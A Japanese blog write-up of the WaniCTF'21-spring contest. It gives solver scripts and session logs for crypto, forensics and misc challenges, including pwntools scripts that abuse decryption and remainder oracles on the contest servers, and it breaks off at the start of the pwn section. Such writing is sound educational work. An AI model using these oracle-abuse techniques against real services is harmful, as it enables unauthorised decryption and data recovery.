2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

WaniCTF'21-spring write-up

Last updated at Posted at 2021-05-02

全問解いて3位。

image.png

image.png

image.png

CTF に参加するのが初めてであったり、数回しか参加したことがない方でも楽しめる難易度になっています。また教育的効果を追求するため、ある程度の誘導や必要なツールの情報が記載されています。これらの情報を参考にしつつトライしてみてください。

たしかに難しくはないのだけれど、かといって何も考えずに解けるわけでもなく、面白かった。

Crypto

Simple conversion (Beginner)

戻し方を忘れました…

convert.py
from const import flag


def bytes_to_integer(x: bytes) -> int:
    x = int.from_bytes(x, byteorder="big")
    return x


print(bytes_to_integer(flag))

Cryptoでフラグを大きな整数にするのに良く使われるやつ。言語仕様的にはこうだろうか。

>>> (709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229).to_bytes(64, "big")
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'

ビット幅やエンディアンを指定するのが面倒なので、pycryptoライブラリのlong_to_bytes関数のほうが便利かもしれない。

>>> from Crypto.Util.number import long_to_bytes
>>> long_to_bytes(709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229)
b'FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'

FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}

Easy (Easy)

手始めに

encrypt.py
 :
def encrypt(plaintext: str, a: int, b: int) -> str:
    ciphertext = ""
    for x in plaintext:
        if "A" <= x <= "Z":
            x = ord(x) - ord("A")
            x = (a * x + b) % 26
            x = chr(x + ord("A"))
        ciphertext += x

    return ciphertext


if __name__ == "__main__":
    ciphertext = encrypt(flag, a=A, b=B)
    print(ciphertext)

ABは非公開。26の剰余しか意味が無いので総当たり。

ABは総当たりするとして、逆算が面倒。でも、逆算ができるようなAだろうと考えれば、encryptをそのまま使えば良いか。きっと良い感じに逆数が存在するでしょう。

solve.py
def encrypt(plaintext: str, a: int, b: int) -> str:
    ciphertext = ""
    for x in plaintext:
        if "A" <= x <= "Z":
            x = ord(x) - ord("A")
            x = (a * x + b) % 26
            x = chr(x + ord("A"))
        ciphertext += x

    return ciphertext

for A in range(26):
  for B in range(26):
    flag = encrypt("HLIM{OCLSAQCZASPYFZASRILLCVMC}", A, B)
    if "FLAG{" in flag:
      print(A, B, flag)
$ python3 solve.py
21 14 FLAG{WELCOMETOCRYPTOCHALLENGE}

FLAG{WELCOMETOCRYPTOCHALLENGE}

Extra (Normal)

難易度Normalなのに、Hardより正解者が少ない。

RSA。ただし、$M=2p+q$も教えてくれる。$N=pq$と連立すると、$f(p)=2p^2-Mp+N$として$f(p)=0$これを解けば$p$が求められる。$f(0)=N>0$。$f(p)$は$p=\frac{M}{4}$で最小値を取り、解が存在するのだから値は負。この間を二分法で探索すれば、$p$が出て……こないな。ここで悩んだ。

解は反対側にあった。$\frac{M}{4}$と$\frac{M}{2}$の間を探索。

solve.py
N = 22255382023772668851018179427844169178508638456713544208965498667359965716247243217931028270320680101854437928939452335472153643094266035953797432826168426002458800906764442624308120284177094975740468163835305872963635678413995878812492729432260346481442092245748885202467992527408086207041964831622724073720751839241897580988210971776031098476500998975223039782371635291859483569580516707907602619018780393060215756966917504096971372578145138070121288608502379649804953835336933545368863853793291348412017384228807171466141787383764812064465152885522264261710104646819565161405416285530129398700414912821358924882993
M = 455054308184393892678058040417894434538147052966484655368629806848690951585316383741818991249942897131402174931069148907410409095241197004639436085265522674198117934494409967755516107042868190564732371162423204135770802585390754508661199283919569348449653439331457503898545517122035939648918370853985174413495
e = 65537
c = 17228720052381175899005296327529228647857019551986416863927209013417483505116054978735086007753554984554590706212543316457002993598203960172630351581308428981923248377333772786232057445880572046104706039330059467410587857287022959518047526287362946817619717880614820138792149370198936936857422116461146587380005750298216662907558653796277806259062461884502203484610534512552197338982682870358910558302016481352035443274153409114492025483995668048818103066011831955626539382173160900595378864729936791103356604330731386911513668727994911216530875480647283550078311836214338646991447576725034118526046292574067040720093

from Crypto.Util.number import *

def f(p):
  return 2*p*p-M*p+N

l = M//4
r = M//2
while True:
  m = (l+r)//2
  a = f(m)
  if a==0:
    p = m
    break
  if a<0:
    l = m
  else:
    r = m
assert N%p==0

q = N//p
d = inverse(e, (p-1)*(q-1))
flag = pow(c, d, N)
print(long_to_bytes(flag).decode())
$ python3 solve.py
 FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}

FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}

Can't restore the flag? (Hard)

ちりつもですよ

300以下の整数modを指定すれば、フラグ(の整数)をmodで割った余りを教えてくれる。中国剰余定理。

attack.py
from pwn import *
from Crypto.Util.number import *

# return (x, y, g)
# where a*x+b*y=g=gcd(a, b)
def extgcd(a, b):
  if b==0:
    return 1, 0, a
  else:
    x, y, g = extgcd(b, a%b)
    return y, x-a//b*y, g

def CRT(A, M):
  sa = 0
  sm = 1
  for a, m in zip(A, M):
    x, y, g = extgcd(m, sm)
    sa = (sa*x*m+a*y*sm)//g
    sm *= m//g
  return sa%sm, sm

s = remote("crt.cry.wanictf.org", 50000)
A = []
M = []
for m in range(2, 301):
  s.sendlineafter("Mod > ", str(m))
  a = int(s.recvline()[:-1])
  A += [a]
  M += [m]

flag, _ = CRT(A, M)
print(long_to_bytes(flag).decode())
$ python3 attack.py
[+] Opening connection to crt.cry.wanictf.org on port 50000: Done
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

中国剰余定理はSageMathのものを使っても良い。

ところで、$-10^{103}$って300以下ですよね。

attack2.py
from pwn import *
from Crypto.Util.number import *

s = remote("crt.cry.wanictf.org", 50000)
s.sendlineafter("Mod > ", str(-10**103))
flag = int(s.recvline()[:-1])+10**103
print(long_to_bytes(flag).decode())
$ python3 attack.py
[+] Opening connection to crt.cry.wanictf.org on port 50000: Done
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}

OUCS (Very hard)

OUによるHomomorphicなCryptoSystemです

こんな暗号があるのか。暗号化に乱数が入っていて、同じメッセージを暗号化しても暗号文が異なるのが面白い。

フラグを暗号化した結果を教えてくれたり、任意のメッセージを暗号化したり、任意の暗号文を復号したりできる。ただし、復号結果がフラグの場合だけは結果を返してくれない。

Homomorphic(準同形)とは、$f(xy)=f(x)f(y)$が成り立つということである。乗算ではないかもしれないけど。とりあえず、フラグを$x$として、$f(x)=f(x)f(1)$が成り立つ($f(x)f(1)$の結果を返してくれない)ことを確かめるか……と思ったら解けてしまった。

$ nc oucs.cry.wanictf.org 50010

  .oooooo.   ooooo     ooo   .oooooo.    .oooooo..o
 d8P'  `Y8b  `888'     `8'  d8P'  `Y8b  d8P'    `Y8
888      888  888       8  888          Y88bo.
888      888  888       8  888           `"Y8888o.
888      888  888       8  888               `"Y88b
`88b    d88'  `88.    .8'  `88b    ooo  oo     .d8P
 `Y8bood8P'     `YbodP'     `Y8bood8P'  8""88888P'


╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 1
ciphertext = 0xa75a062e5b3762d533d366f9055684d5ee577644754f1dfbad92419f3e6814b2aaae09aa2a3308beeb730b9321b083218e27403a5be74e1f547dd13d14eced754c2b244b63c4f0627b110d8fd100e61f3846645a8c4fda2936476c4742b6c9c356abe3b3196c81ca2e6467995677bbd66f59b22087f45271c30f3b7b346c8939f62d0d2844d195eb8d80845912df71e01ac3212f7d03578c46aedc51fbb40f8f60d277aaeb4cb318bb4d27eca61b3ac56bb22d533dc6f760a058efc9ee9bd6c2e7a6600ccef99daecce90f592d68fee52663868442b9fa8eaed187894983a3321e3a1a161f7619dca17d522ed26dce38476895e8217739139de502f6448dc98282b92ea230b11b099881499a1d6bd6fa8bd15bab856a2a79801d7fb9483aa3e0a0aabd9c3056d098885cfbc928164b92cb4d9a2cd5bb3e18e7570f729c1734dcec8e9d133f02f736ad9c2e0589864a3c9ea6e2beff38ab4fdf9c376af1f32ccb573dc2608fd423e1d899d99cd9f43bcd91cd760ade10e914e3bfa3abcb9ba73

╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 1
ciphertext = 0xbafa51b76752007bf07b6a68bf043a0c4f1ceedf93175fe323da3e8beaa73f626f5a81fee2c73df4002fdb80224c24432ef58fbebae27f071b25f794e52d826d2b8b2eb434fe812b6ad35d8219900353660af1cc9ab692310ef57a148f162231d7204cf786b19eb0a9374db751259efc4d7d4eb82cba23942f1513da271195b34203e4779f2f0d940f17ee427cb901715d929205a8c1fbf4928e018810860e1f3e9f185b3ff1bad5b980843a8225756f1b41d0dcf081b8212d9f1a3752f8717a889928ead90e7c5e61f2318a8f6e707f5629a0462c7256ef5d38b37ca863cfa18480d18ec8c9d2717b99c045eb41234d7b283f09335ec0e7e68e23ab6d70ab6fac262e79036f14ffc5eb1bd2f84436b26d11ffa3f3b662cc4ace77299b9e15fb3ef38da98ebfeed8916403c3af21bb7217c409f6fee3db40f615988671db36a9f5dd4a8ada171edd78791c3bb98b6d977fba87871c60984012dc2c14e089fc3640faaf9c511df4fdf8b09436a3159f173ab3b4a075028edc6b2ea64bb522fae

╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 2
Enter your plaintext
> 1
ciphertext = 0x3d3f7d00f22ec71ef22435f515b869e802f59ca93e2bc07377503ac8a5bd9142c9766a39a3437e10b800fc891bbd86b5b9fa73d08797c540374ba73127bbbd2909eb6a7174987397bbcd5f536843d95cd449e51504694809e26bcec5c4699a05a7a56e17c95af0dc0e8f4667641dbf56dea1bf02746565bc821f1e888ac5295d55f86d3411ca4034dceaa9fd5f9be3a0e3aef9eccea7d7252a76f6a002566feacfef40f8c1bd3432ac96d9d98fad9fde4bdd5a7ae1f1d455ed4c2f8c0c47c5ba5797be5ea459ce8ad676181bc12937391fd0935f78785acba12031c01e69ad38925e0b263eff973c907598f943a18a15c28ee33e65f3f424fb60a19ccc61be6108fd95c508e0f3f1b2c4a7d0486e35e5d6e956d49539333dc5fb8d93cb75db2a762c841f1624300b24d9ca8bcfe9064d02aa0a68d7af1322c9c7755df9acca062a6c601eb2156300678f9aaa4cd8de1208851afb750ed58e8e3052908ed616e3d6f1c7a35002a13c69c7bb69755b0e97a634c4b8f707759606ca630e8b6ba56

╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 4
n = 0x305d161f9c72aeacc0a7c66ae3f9f95ea0a2ac1092c76b6ef93a3eba6479311326457418acefa4caf44cf1b478d2d8d98d305c02b143a21a02d95b62a7ffcfe199fa909fc8ca3af9441bea3b2fcbd4945843cd91f5faa86eb1f9e010818687035465fc78d3bd66242c18c427d5bf3c02f576f3fcd7ac1d1987bf5b22685ea1af55ce49f8456a45445d55bd1715392acce05b92db20985350d0984c8f926228b9c44bdc203a5fe9bbe31ccb5579aaeb47a52f2d75db4f1f754ff643ce8570fd3b34cf4f9af9c930ea8a2d6c28d82239b140556f46eddfdb2fd71cb10e38452989e5230362e6a808af9e99367bc8a7c847f05c195fd9e95e93341b7a51cdecc3aa45e415b630dab211e8eb7fea5e06360019139f3242f6e6cb71dc52ea95992d7bb3da1b2ad249a02e9e669faad86129605795177cb0365754991110781737ef67f85673745384718dadbc036f1b36e9a323bce0da5d4b09c01e49a3d0149e88b6134e998314272261c5ca17e8dfda4bf607b400e9285a1c859d65dff83b9367f3
g = 0x2a5920a885713fb5b7f1a167f15711e78fc8f093f1ad234e9b7b42154992a768afd68a479adf149f9807bb1b36d0d6b300832500190277f8e35243f275d9077a47933a48a6941ecabc324bf8b7fe0b763a7295ccab368d9b1ee1779d5cb076bdb551c043f29ffd2af1d9451f5b760ddd15ef042bc2e5b828a94c2cf50fc3deeb25bffa4d01067b0ce8c62f5bb9092b7c9a60ec093f8c0d73e3657a71e960adeb9b36d80a3d9d2d6840973e57fc1a2b0eb982aa54c54c299020883614b6a9dc0e9aa593c53a350af933aef839bef39f399e1d424473c36d4f0291bd0bd5c6daa8bf82c1f0a3a7596b2cc4c5ce20a0e1e34c18b02a52728df37d9180b67f37e7397bdd249ee0c2108c3ae99383b1bcedf724e991dade5d58ee2f61ed4dadee728b8525a7013f35e2c3227f7c9655ec2061127f22ff6fdca598b0e7e00d68303d5c82dcb06578279b9f0aa8224f4d441eca62a74eb22f425e6b633c7ef6831c45b7dd3a40be1e1e175ef34c90ad6b2405e8891adc3250023043ba76271aa344bef
h = 0x178913c9c59ea54ca6b4a1c062bb3ed12d6acab20fa08fb0fd4b98804be5d33248350184a7a698dcf231cc71ad0b0f77c7c5fbf409fc53c6f5069d05e60cef77b9db63ca07a7ef23256c345135d03445645e2035e6a2c73c9d49fe3dd3935ae818e3d462bc63b04b49791107b73881c9f352499a716f244e35990bd0d0b83070a51384403c97348bb7b756b1ce23073ef509c44e8838422b5acb91fcf27181314fd23f0296bc7f9752dfcce59d8f86e0fb3fc5cbb1bafb8166e3d674eacd1ce2e9ee5b9cb5383fadfbc2ccd99197a3294b6bb5cb473c2e6f16fe490420668859e1023a05d82915ff9b91ee2b940a26942f8a290806052b39a45afcc4f767938c8c014c167db9aa33ccef72ca1512f3ed668729c709cb5838544dc03e40100b4f0e06db841e3f4c1611d8960a26b2935106ce6e12d5978617cb86389ad6ab829c465a72e62e9fb5d036431ad33ffce90450a9167724a055a99ccec08459b36fbf77082924337f629cd76399700541eaca755018e428d3f0937ebc0e61c9d7c773
>>> cflag = 0xbafa51b76752007bf07b6a68bf043a0c4f1ceedf93175fe323da3e8beaa73f626f5a81fee2c73df4002fdb80224c24432ef58fbebae27f071b25f794e52d826d2b8b2eb434fe812b6ad35d8219900353660af1cc9ab692310ef57a148f162231d7204cf786b19eb0a9374db751259efc4d7d4eb82cba23942f1513da271195b34203e4779f2f0d940f17ee427cb901715d929205a8c1fbf4928e018810860e1f3e9f185b3ff1bad5b980843a8225756f1b41d0dcf081b8212d9f1a3752f8717a889928ead90e7c5e61f2318a8f6e707f5629a0462c7256ef5d38b37ca863cfa18480d18ec8c9d2717b99c045eb41234d7b283f09335ec0e7e68e23ab6d70ab6fac262e79036f14ffc5eb1bd2f84436b26d11ffa3f3b662cc4ace77299b9e15fb3ef38da98ebfeed8916403c3af21bb7217c409f6fee3db40f615988671db36a9f5dd4a8ada171edd78791c3bb98b6d977fba87871c60984012dc2c14e089fc3640faaf9c511df4fdf8b09436a3159f173ab3b4a075028edc6b2ea64bb522fae
>>> c1 = 0x3d3f7d00f22ec71ef22435f515b869e802f59ca93e2bc07377503ac8a5bd9142c9766a39a3437e10b800fc891bbd86b5b9fa73d08797c540374ba73127bbbd2909eb6a7174987397bbcd5f536843d95cd449e51504694809e26bcec5c4699a05a7a56e17c95af0dc0e8f4667641dbf56dea1bf02746565bc821f1e888ac5295d55f86d3411ca4034dceaa9fd5f9be3a0e3aef9eccea7d7252a76f6a002566feacfef40f8c1bd3432ac96d9d98fad9fde4bdd5a7ae1f1d455ed4c2f8c0c47c5ba5797be5ea459ce8ad676181bc12937391fd0935f78785acba12031c01e69ad38925e0b263eff973c907598f943a18a15c28ee33e65f3f424fb60a19ccc61be6108fd95c508e0f3f1b2c4a7d0486e35e5d6e956d49539333dc5fb8d93cb75db2a762c841f1624300b24d9ca8bcfe9064d02aa0a68d7af1322c9c7755df9acca062a6c601eb2156300678f9aaa4cd8de1208851afb750ed58e8e3052908ed616e3d6f1c7a35002a13c69c7bb69755b0e97a634c4b8f707759606ca630e8b6ba56
>>> n = 0x305d161f9c72aeacc0a7c66ae3f9f95ea0a2ac1092c76b6ef93a3eba6479311326457418acefa4caf44cf1b478d2d8d98d305c02b143a21a02d95b62a7ffcfe199fa909fc8ca3af9441bea3b2fcbd4945843cd91f5faa86eb1f9e010818687035465fc78d3bd66242c18c427d5bf3c02f576f3fcd7ac1d1987bf5b22685ea1af55ce49f8456a45445d55bd1715392acce05b92db20985350d0984c8f926228b9c44bdc203a5fe9bbe31ccb5579aaeb47a52f2d75db4f1f754ff643ce8570fd3b34cf4f9af9c930ea8a2d6c28d82239b140556f46eddfdb2fd71cb10e38452989e5230362e6a808af9e99367bc8a7c847f05c195fd9e95e93341b7a51cdecc3aa45e415b630dab211e8eb7fea5e06360019139f3242f6e6cb71dc52ea95992d7bb3da1b2ad249a02e9e669faad86129605795177cb0365754991110781737ef67f85673745384718dadbc036f1b36e9a323bce0da5d4b09c01e49a3d0149e88b6134e998314272261c5ca17e8dfda4bf607b400e9285a1c859d65dff83b9367f3
>>> cflag*c1%n
867981583118675546800064795134718360679597569159008230741866894210783673598061473247574839870475148746743744385432328042238637127274981776229883477881214930715206271270342188481224635847792386882481497757935778784103185228756063679215570215913555803326487185539937182109063062124852609967193919752997600106099164377332378888759751108336721551406184121555999827787951988685144126842233062708821036024732475276455799633468781268685543519775271024275045963864454401281632976977561209517902277679044658830401107662781034092912876769863944872749704782375138198336983715497616839240741333313636608890039337124429438942363581355991533123299308187466322179797132115012621237442665896486474762758197549846914820856025403456637491452909958016659690323827768161832115585531692573405483426499847891319946758283309282824372027462966811416938757248450093493980411447238345753751971897659282852117909470248164225523378477715145122786098552
╭─────────────────────╮
│ 1. Encrypt flag     │
│ 2. Encrypt          │
│ 3. Decrypt          │
│ 4. Show public key  │
│ 5. Exit             │
╰─────────────────────╯
> 3
Enter your ciphertext
> 867981583118675546800064795134718360679597569159008230741866894210783673598061473247574839870475148746743744385432328042238637127274981776229883477881214930715206271270342188481224635847792386882481497757935778784103185228756063679215570215913555803326487185539937182109063062124852609967193919752997600106099164377332378888759751108336721551406184121555999827787951988685144126842233062708821036024732475276455799633468781268685543519775271024275045963864454401281632976977561209517902277679044658830401107662781034092912876769863944872749704782375138198336983715497616839240741333313636608890039337124429438942363581355991533123299308187466322179797132115012621237442665896486474762758197549846914820856025403456637491452909958016659690323827768161832115585531692573405483426499847891319946758283309282824372027462966811416938757248450093493980411447238345753751971897659282852117909470248164225523378477715145122786098552
plaintext = 0x464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e
>>> "464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e".decode("hex")
'FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama~'

この暗号化では、$f(x+1)=f(x)f(1)$となるらしい。正規に復号するときもこの性質を上手く使って、離散対数問題を除算に落とし込んでいるっぽい。

FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}

Forensics

presentation (Beginner)

presentation.ppsx。.ppsxって何? 開くといきなりスライドショーが始まってこんな感じ。

image.png

ま、どうせZIP形式でしょう。/ppt/slides/slide1.xmlにあった。

FLAG{you_know_how_to_edit_ppsx}

secure document (Easy)

本日の資料は以下を入力して圧縮しました。

the password for today is nani

::the::
Send, +wani
return

::password::
Send, +c+t+f
return

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return

::today::
FormatTime , x,, yyyyMMdd
SendInput, {home}{right 4}_%x%
return

::is::
Send, _{end}{!}{!}{left}
return

:*?:ni::
Send, ^a^c{Esc}{home}password{:} {end}
return

関数名でググると、AutoHotkey?

  • theで、Wani
  • passwordWaniCTF
  • forWan1C7F
  • todayWan1_20210428C7F
    • 日付はフラグの入っているZIPのファイル名から
  • isWan1_20210428_C7F!!
  • naniWan1_20210428_C7F!na!

かな。これでZIPを解凍。

FLAG{Nani!very_strong_password!}

slow (Normal)

ピーヒョロヒョロザザみたいな音声。モデム? 音響カプラ? FAX? と悩んだけど、それらを復号してくれそうなソフトに突っ込んでもダメだし、そもそも搬送波の周波数が違う。SSTVだった。アポロ計画でも使われたらしく、問題文の「宇宙からメッセージが届きました」にも合っている。

MMSSTVを使った。

image.png

このアナログなノイズ、久しぶりに見たな。

FLAG{encoded_by_slow-scan_television}

illegal image (Hard)

pcap。pingで画像を送っている。icmp && ip.src_host==192.168.0.133でフィルタして、ファイル → エキスポートパケット解析 → プレインテキストとして で出力して切り貼りした。pcapを読むライブラリを使ってスクリプトを書けばもっと楽だったかも。

FLAG{ICMP_Exfiltrate_image}

MixedUSB (Very hard)

Very hardなのに正解者が多い。ファイルを消すのではなく、パーティションごと消したのだろうか。FTK Imagerで見ても出てこない。でも、バイナリエディタでFLAG{を検索すれば良い。

FLAG{ICMP_Exfiltrate_image}

Misc

binary (Beginner)

01が並んでいる。

>>> int(open("binary.csv").read().replace("\n", ""), 2).to_bytes(64, "big")
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FLAG{the_basic_knowledge_of_communication}'

FLAG{the_basic_knowledge_of_communication}

ASK (Easy)

01は常に31個ずつ連続して出てくる。なので、それを1個にまとめる。

solve.py
from Crypto.Util.number import *

d = open("ask.csv").read()
d = d.replace("\n", "")
a = ""
for i in range(0, len(d), 31):
  assert d[i:i+31] in ("0"*31, "1"*31)
  a += d[i]
print(long_to_bytes(int(a, 2)))
$ python3 solve.py
b'\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xd8[\x1c\xcc\x0bZ\xcc\x1b\xdd\xdb\x8bM\x1c\xcbL\x1b\x8bL\x19\x99\x8bZ\xd9^L[\x99\xdf@\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb6\x16\xc73\x02\xd6\xb3\x06\xf7v\xe2\xd3G2\xd3\x06\xe2\xd3\x06fb\xd6\xb6W\x93\x16\xe6w\xd0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xd8[\x1c\xcc\x0bZ\xcc\x1b\xdd\xdb\x8bM\x1c\xcbL\x1b\x8bL\x19\x99\x8bZ\xd9^L[\x99\xdf@\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb6\x16\xc73\x02\xd6\xb3\x06\xf7v\xe2\xd3G2\xd3\x06\xe2\xd3\x06fb\xd6\xb6W\x93\x16\xe6w\xd0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}'

同じメッセージが10回繰り返されているけど、繰り返しの長さが8の倍数ではないから、ときどきしか読めるようにならないな。問題名のASKは、amplitude-shift keyingの略。

FLAG{als0-k0own-4s-0n-0ff-key1ng}

Git Master (Easy)

ホームページをみんなで開発したいので、イメージを公開するです。
昔、秘密の文字列をコミットしたことがあるけど大丈夫だよね...?

Gitのログを漁るやつ。あれ、.gitディレクトリが無い……。

配布ファイルのDockerfileはカレントディレクトリをコンテナに丸ごとコピーするようになっていて、問題文を見るとこのイメージをDocker Hubで公開している。その中には.gitディレクトリがあるはず。

適当にgitというディレクトリを作り、

docker run --rm -it -v "%CD%\git:/git" wanictf21spring/nginx_on_ubuntu cp -r /var/www/.git /git

で、持ってくる。あとはコミット履歴から探す。

>git diff "HEAD^^^^" "HEAD^^^"
diff --git a/html/Flag.txt b/html/Flag.txt
index ef189e0..60ca0b1 100644
--- a/html/Flag.txt
+++ b/html/Flag.txt
@@ -1 +1 @@
-_m45t3r}
+FLAG{y0u_

>git diff "HEAD^^^^^" "HEAD^^^^"
diff --git a/html/Flag.txt b/html/Flag.txt
new file mode 100644
index 0000000..ef189e0
--- /dev/null
+++ b/html/Flag.txt
@@ -0,0 +1 @@
+_m45t3r}

>git diff "temporary^" "temporary"
diff --git a/html/Flag.txt b/html/Flag.txt
index 60ca0b1..f99f791 100644
--- a/html/Flag.txt
+++ b/html/Flag.txt
@@ -1 +1 @@
-FLAG{y0u_
+4r3_p3rf3c7_g1t

>git diff "temporary^^" "temporary^"
diff --git a/html/Flag.txt b/html/Flag.txt
index ef189e0..60ca0b1 100644
--- a/html/Flag.txt
+++ b/html/Flag.txt
@@ -1 +1 @@
-_m45t3r}
+FLAG{y0u_

FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}

Automaton Lab. (Normal)

ルール30のセルオートマトンの指定された世代の状態を計算する。最後は世代数がとても大きくなるので、愚直に計算するのはダメ。セル数が15個なので、長くとも$2^{15}=32768$世代でループするはずで、ループしたらループの周期の倍数分をまとめて飛ばせる。

solve.py
import sys

init = sys.argv[1]
gen = int(sys.argv[2])

def next(S):
  n = len(S)
  rule = 30
  return "".join(str(rule>>int((S*3)[n+i-1:n+i+2], 2)&1) for i in range(n))

S = init
n = len(S)

i = 0
memo = {}
while True:
  if i==gen:
    print(S)
    exit(0)

  if S in memo:
    break
  memo[S] = i

  S = next(S)
  i += 1

p = i-memo[S]
i += (gen-i)//p*p
while True:
  if i==gen:
    print(S)
    exit(0)
  S = next(S)
  i += 1

サーバーと手作業でやりとりしながら、裏で計算スクリプトを動かした。

$ nc automaton.mis.wanictf.org 50020
Welcome to Automaton Lab.!
We study about automaton in there, here is the space of "Rule 30"[1] automaton.
We breed 15 cells automaton now, they are ring-connected -- they are connected the first cell and the last cell.
Our interest is what this cute automaton grow up in future, we want your help to expect their growth.
[1]: https://en.wikipedia.org/wiki/Rule_30

For example, now automaton state is "100000100000001" ('1' is alive and '0' is dead) and in next generation they are "010001110000011".
generation      state
0               100000100000001
1               010001110000011
2               011011001000110

We give you initial state(init) and generation(gen). You write down the state of this automaton of the nth generation in binary.
Are you ready?
(press enter key to continue)

OK! Here we go! The first question is warming up.
init = 101100000110011
gen = 7
>py solve.py 101100000110011 7
001100011001111
> 001100011001111
Great! The second question is below.
init = 000000100010000
gen = 997
>py solve.py 000000100010000 997
111111011001000
> 111111011001000
Even if human become extinct, we wanna see the view of prosperity of cell automaton. This is last question.
init = 000000000000001
gen = 157143656893058823623941195427528339572519659586439744591876867116260138842379908460655074724951824846279080509418892254387555496359687038162438331193715301629249312231555894669076636164219976112946924678831604639351922407046294134300267100143879318551438649898300081026530187019841773638222706934152736870009
>py solve.py 000000000000001 157143656893058823623941195427528339572519659586439744591876867116260138842379908460655074724951824846279080509418892254387555496359687038162438331193715301629249312231555894669076636164219976112946924678831604639351922407046294134300267100143879318551438649898300081026530187019841773638222706934152736870009
011111111110011
> 011111111110011
Jesus!!! Are you the genius of future sight? We award you the special prize.
FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}

FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}

Manchester (Normal)

マンチェスタ符号

これまでの問題と同様に、01は31個単位。これを1個にまとめて、01ならば010ならば1にする。0011も出てくるが、無視で良いだろ。

solve.py
from Crypto.Util.number import *

d = open("manchester.csv").read().replace("\n", "")[::31]
a = ""
for i in range(0, len(d), 2):
  if d[i:i+2]=="01":
    a += "0"
  if d[i:i+2]=="10":
    a += "1"
print(long_to_bytes(int(a, 2)))
$ python3 solve.py
b'\x7f\xff\xc4d\xc4\x14w\xb6\x17f\xf6\x96F\x96\xe6r\xd66\xf6\xe76V7F\x97fR\xd6\xf6\xe6W2\xd6\x16\xe6B\xd7\xa6W&\xf77\xdf\xff\xf8\x8c\x98\x82\x8e\xf6\xc2\xec\xde\xd2\xc8\xd2\xdc\xceZ\xc6\xde\xdc\xe6\xca\xc6\xe8\xd2\xec\xcaZ\xde\xdc\xca\xe6Z\xc2\xdc\xc8Z\xf4\xca\xe4\xde\xe6\xfb\xff\xff\x11\x93\x10Q\xde\xd8]\x9b\xdaY\x1a[\x99\xcbX\xdb\xdb\x9c\xd9X\xdd\x1a]\x99K[\xdb\x99\\\xcbX[\x99\x0b^\x99\\\x9b\xdc\xdf\x7f\xff\xe22b\n;\xdb\x0b\xb3{K#Ks9k\x1b{s\x9b+\x1b\xa3K\xb3)k{s+\x99k\x0bs!k\xd3+\x93{\x9b\xef\xff\xfcFLAG{avoiding-consective-ones-and-zeros}'

FLAG{avoiding-consective-ones-and-zeros}

Pwn

01 netcat (Beginner)

netcat (nc)と呼ばれるコマンドを使うだけです。
つないだら何も出力されなくても知っているコマンドを打ってみましょう。

